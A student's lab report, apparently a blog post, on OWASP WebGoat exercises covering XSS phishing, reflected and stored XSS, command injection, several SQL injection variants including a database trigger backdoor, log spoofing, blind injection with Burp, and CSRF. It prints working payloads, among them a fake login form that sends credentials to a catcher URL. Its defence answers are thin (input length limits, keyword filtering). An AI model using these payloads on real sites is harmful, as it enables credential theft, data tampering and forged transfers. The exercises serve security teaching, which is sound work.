Exp9 WEB安全基础

20155336《网路对抗》Exp9 WEB安全基础

最后一次实验~~The journey is hard, the road is bumpy, but it is very enjoyable.

一、基础问题回答

  • 1.SQL注入攻击原理,如何防御
    • 原理:攻击者把SQL命令插入到网页的各种查询字符串处,达到欺骗服务器执行恶意的SQL命令。
    • 防御:在网页设计时对文本框的输入进行限制,比如说长度限制、不能出现#号等
  • 2.XSS攻击的原理,如何防御
    • 原理:攻击者在可输入域插入一些html或脚本语言使服务器执行那些代码
    • 防御:关键字防御,比如过滤<script>这种敏感词汇,减少被攻击的风险
  • 3.CSRF攻击原理,如何防御
    • 原理:一般人A在登陆后,在自己的主机页面点击的各类请求都是以A的名义发送的,即A有A的权限;攻击者B在网页注入一个恶意的CSRF攻击URL地址,在A点击后,B借用A的身份进行非法操作,即B有了A的权限
    • 防御:1.cookie的保存时间不宜过长;2.服务器要求用户输入相对应的验证码;3.服务器尽量在表单中使用post方法

二、实验过程记录

开启WebGoat
  • 这一环节看到别人都在为安装JDK抓狂怎么就有点美滋滋呢。终于体会到什么叫做前人种树后人乘凉了,感谢刘老师以及刘老师的虚拟机,为我提供了很多很多的便利,膜拜膜拜

  • 什么是WebGoat:WebGoat是由著名的OWASP负责维护的一个漏洞百出的J2EE Web应用程序,这些漏洞并非程序中的bug,而是故意设计用来讲授Web应用程序安全课程的。这个应用程序提供了一个逼真的教学环境,为用户完成课程提供了有关的线索。这个环境需要Apache Tomcat和JAVA开发环境的支持。

  • 键入java -jar webgoat-container-7.0.1-war-exec.jar。做实验的时候,要一直保持这个终端处于运行状态。

  • 可以看出,WebGoat使用的是8080端口。

  • 在浏览器上直接访问8080端口就可以跳转到WebGoat,使用默认账号密码就妥。

  • 为什么不能直接像Google一样直接把网页翻译过来....

XSS攻击

Phishing with XSS
  • 这个题目我们要在搜索框中输入XSS攻击代码,利用XSS可以在已存在的页面中进一步添加元素的特点创建一个form。利用这个网站读取目标的身份信息。

  • 首先输入攻击代码:

      </form>
      	<script>
      function hack(){ 
      XSSImage=new Image;
      XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
      alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
      } 
        </script>
      <form name="phish">
      <br>
      <br>
      <HR>
    	<H2>This feature requires account login:</H2>
      <br>
        <br>Enter Username:<br>
    	<input type="text" name="user">
       <br>Enter Password:<br>
    	<input type="password" name = "pass">
      <br>
       <input type="submit" name="login" value="login" 	onclick="hack()">
      </form>
      <br>
      <br>
      <HR>
    

Reflected XSS 反射型XSS攻击
  • code框中输入<script>alert("hahahahhahah20155336");</script>
Stored XSS Attacks
  • 题目要求:基于存储的xss攻击,把攻击者的数据存储在服务器端,攻击将伴随着攻击数据一直存在。
  • 在Message里输入<script>alert("Lets go go go go 5336!");</script>

SQL

Injection Flaws
  • 左侧有很多种攻击实验,先选一个看似简单的Command Injection来试试

  • 题目意思:命令注入攻击对任何参数驱动的站点都构成严重威胁。清理所有输入数据,特别是在OS命令、脚本和数据库查询中使用的数据是很好的做法。要求我们应用程序使用系统命令返回文件的内容。

  • 打开网页的源代码

  • 本题我们要改BackDoors.help后面的代码,于是直接搜索BackDoors.help,找到后在其后加入"& netstat -an & ipconfig"

  • 加入完成以后敲回车即可.

  • 选定刚刚添加的代码选项而后view一下。出现了网络端口使用情况和IP地址,(o゜▽゜)o☆[BINGO!]

Numeric SQL Injection
  • 题目意思:尝试注入导致所有天气数据显示的SQL字符串,应用程序从选择框中获取输入,并将其插入到预先形成的SQL命令的末尾。

  • 在搜索框内直接搜索哥伦比亚,然后利用永真式1=1,根据执行SQL

Log Spoofing
  • 题目意思:利用日志的格式,使用换行等字符,欺骗管理员。可以使用障眼法来使用户名为“admin”的用户在日志中显示“成功登录”,例如在User Name文本框中输入hgy%0d%0aLogin Succeeded for username: admin,其中%0d是回车,%0a是换行符:

String SQL Injection
  • 这个表单允许使用者查询他们的信用卡号,使用SQL注入让所有的信用卡号都看得见。
  • 仍然是永真式1=1的或门注入
  • 本题直接在last name中注入Snow' OR '1'='1
  • 这边出现了一点问题,就是点击GO一直没有反应。其实点一下restart重新开始就好了
  • 尝试了一下输入自己名字的关键字,发现没有什么影响。所以就觉得永真式是真的强大,让前面的关键字显得毫无作用
LAB: SQL Injection(Stage 1:String SQL Injection)
  • 题目意思:使用字符串SQL注入来绕过身份验证
  • 在这里我们要在password = ‘’这里进行注入,理论上只要pwd = ' or 1=1 --。那么执行语句就被改成了:
    select * from User where username=‘’and password =‘’ or 1 = 1 --‘这样就可以登陆任何用户了,密码中输入' or 1=1 --
  • 在这里,因为源代码里的密码长度最长为8位,改一下限制就好了
Stage 3:Numeric SQL Injection
  • 题目意思:这个就是再上一个的基础上,登陆larry,然后浏览员工的信息点击ViewProfile就可以了
  • viewprofile返回的是每次查询到的第一条数据,老板应该是工资最高的,所以为了把老板排到第一个SQL注入排序如下:101 or 1=1 order by salary desc --

Database Backdoors
  • 先看一下102的用户信息
  • 这都是些什么人啊,家里开银行的嘛~~
  • 通过输入sql语句来修改信息内容,比如输入102; update employee set salary=1000000 where userid=102;
  • 哎哎写大点,梦里什么都有~
  • 注入一个触发器,触发器内容:102;create trigger backdoor before insert on employee for each row begin update employee set email='hgy@hackme.com'WHERE userid = 102;把所有新注册的用户的email地址改成hgy@hackme.com
Blind Numeric SQL Injection
  • 题目意思:盲测,大致就是让你去猜测,然后逐步缩小范围。我们想知道其pin的值,只能去猜测,就像数学里的二分法一样,把区间逐步缩小,最后就确定了一个更加精确的范围。首先我们尝试一下200,101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 200 );
  • 注入的代码显示Account number is valid,表示是真的,所以它的范围比100大。那我们就再试试更大一点的2000,101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2000 );
  • 当我注入2500的时候它发生了变化
  • 所以我们大致确定它的范围在2000~2500之间
  • 然后我们打开虚拟机的BRUP,因为8080端口已经被占用,所以我们就再添加一个端口。然后把端口号设为自己刚刚设置的端口号。

  • 设置查找区间2000~2500,并且为了精准step设置为1
  • Options中,选择Start attack开始攻击
  • 可以明显发现2364与其他的有明显区别,长得非常可疑,那不妨就把2364输入进行验证,果不其然是正确的。

CSRF攻击

Cross Site Request Forgery
  • 写一个URL诱使其他用户点击,从而触发CSRF攻击,我们可以以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。
  • 查看自己电脑的数值
  • 然后在message里面输入<img src="http://localhost:8080/WebGoat/attack?Screen=277&menu=900&transferFunds=转账金额"/>
  • 提交后生成一个链接20155336,点击查看。
CSRF Prompt By-Pass
  • 这个还是利用的是CSRF,不过需要转账请求和确认转账成功请求。

  • 步骤跟CSRF大致相同,但这回在message中输入代码是:

      <iframe src="attack?Screen=268&menu=900&transferFunds=转账数额"> </iframe>
      <iframe src="attack?Screen=268&menu=900&transferFunds=CONFIRM"> </iframe>
    

  • 但是它没有提示那个祝贺成功,在浏览器输入localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=5000进行确认转账请求:

  • 点击CONFIRM,然后在输入localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=CONFIRM,显示成功转走5000!

三、实验总结与体会

实验终于做完了,也不能说是对待每一次实验都是很认真的但也不能说是敷衍了事。总的来说9次实验做完收获还是很多很多的,老师应该八九不离十也看在眼里记在心里。每次实验都会遇到各式各样的问题,就感觉每次都被针对,实验8做完以后,电脑就崩溃了,是真的崩溃了,实验8验收的那天,真的是老天开了眼,在查完实验之前,电脑竟然挺住了没有蓝屏,因为之前电脑就已经开始开机蓝屏,右键鼠标黑屏各种Gug,本来已经打算验收的时候直接扣一分走了,结果电脑给力了。但是查完实验的时候,回到座位准备关机就又蓝屏了。那天晚上售后就来学校了,帮我看了一眼说是硬盘坏了,修一下要1300.......别提当时什么心情了。但我还是留了个心眼,去京东看了一眼1T也就三四百来块,我就感觉差点被坑了,我就拒绝拿去售后维修了。回来晚上用舍友的流量下了3个多G的win8.1虚拟机,然后又下载了老毛桃,把优盘格式化弄成系统盘,觉得看看重装个系统咋样,要是真的是硬盘坏了,那就网上买个自己装,要是硬盘没坏那就将就用win8了。自己一步一步的装镜像,把C盘格式化了之后,当电脑开机的那一瞬间,新系统屏幕上显示的慰问语,真的感动的要哭了~~电脑瞬间满血复活,但是总会有一些先入为主的思想,怀念之前的win10,而且由于软件太多了,也不知道具体放在了哪,就把剩下的盘都索性格式化了,落个眼不见心不烦。当晚就插着网线下载VM,markdown,然后重新拷虚拟机,装tools,把这些装完以后心里顿时舒了一口气。总算把最大的坑跳过去了。真的是有苦说不出呀,你能体会到博客写到一半没保存瞬间蓝屏的那种委屈嘛~~又要重新传图又要重新打字,又要重新开虚拟机各种繁琐的事,你还不知道它下次蓝屏会是什么时候,真的是小心翼翼的。哎哎,不说了就在这小声吐槽一下,总之实验做完了,感觉心里有点空虚总不能什么都没学到吧哈哈哈哈哈哈。还是那句话The journey is hard, the road is bumpy, but it is very enjoyable.感谢老师!
原文地址:https://www.cnblogs.com/hxl681207/p/9095914.html